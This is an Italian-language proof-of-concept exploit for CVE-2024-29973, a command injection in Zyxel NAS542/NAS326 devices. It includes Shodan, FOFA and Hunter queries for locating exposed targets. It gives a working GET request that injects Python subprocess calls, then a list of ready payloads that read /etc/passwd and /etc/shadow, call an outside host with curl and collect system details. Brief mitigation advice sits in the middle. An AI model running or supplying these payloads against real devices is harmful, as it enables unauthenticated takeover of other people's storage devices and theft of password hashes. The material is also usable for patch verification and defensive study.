
Proof-of-concept exploit per CVE-2024-29973, una vulnerabilità di injection di comandi remoti nei dispositivi NAS Zyxel, che dimostra l'esecuzione arbitraria di comandi tramite richieste HTTP appositamente formulate.
CVE-2024-29973 è una vulnerabilità critica riscontrata in alcuni dispositivi di rete Zyxel. Questa vulnerabilità consente a un attaccante non autenticato di eseguire comandi arbitrari sul dispositivo target sfruttando meccanismi di validazione degli input inadeguati nel firmware. Gli attaccanti possono inviare richieste HTTP appositamente formulate al dispositivo, iniettando comandi a livello di sistema e ottenendo potenzialmente il pieno controllo del dispositivo.
Hunter: product.name="ZyXEL NAS542"||product.name="ZyXEL NAS326" FOFA: app="NAS542" || app="ZYXEL-NAS326" SHODAN: http.title:"Zyxel NAS326"
Iniezione di Comandi: La vulnerabilità deriva da una sanificazione degli input insufficiente in una delle interfacce web del dispositivo. Questa falla consente agli attaccanti di aggiungere comandi del sistema operativo all'interno dei parametri delle richieste HTTP.
Esempio di Exploit: Gli attaccanti possono iniettare comandi tramite una richiesta HTTP GET, come quella riportata di seguito, per eseguire codice arbitrario:
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
Impatto: Uno sfruttamento riuscito comporta la capacità di eseguire comandi di sistema, portando potenzialmente al controllo remoto del dispositivo, alla fuga di dati o a un ulteriore compromissione della rete.
Per mitigare i rischi associati a questa vulnerabilità, segui questi passaggi:
Aggiornamento del Firmware: Assicurati che tutti i dispositivi Zyxel siano aggiornati all'ultima versione del firmware. Zyxel ha rilasciato patch che risolvono questa vulnerabilità. Controlla regolarmente gli aggiornamenti e applicali tempestivamente.
Segmentazione della Rete: Isola i dispositivi vulnerabili dall'infrastruttura di rete critica. Esponi solo i servizi necessari e assicurati che le interfacce amministrative non siano accessibili pubblicamente.
Configurazione del Firewall: Limita il traffico in entrata e in uscita ai soli servizi essenziali. Blocca l'accesso HTTP non necessario ai dispositivi Zyxel.
Monitoraggio di Attività Sospette: Implementa strumenti di logging e monitoraggio in grado di rilevare e segnalare comportamenti anomali, come tentativi di accesso ripetuti o modelli di traffico anomali.
Riferimenti National Vulnerability Database - CVE-2024-29973 Zyxel Security Advisory

GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/passwd",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/shadow",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("curl+ifconfig.me",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("hostname",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("ip+a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("uname+-a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/group",+shell=True)%23 HTTP/1.1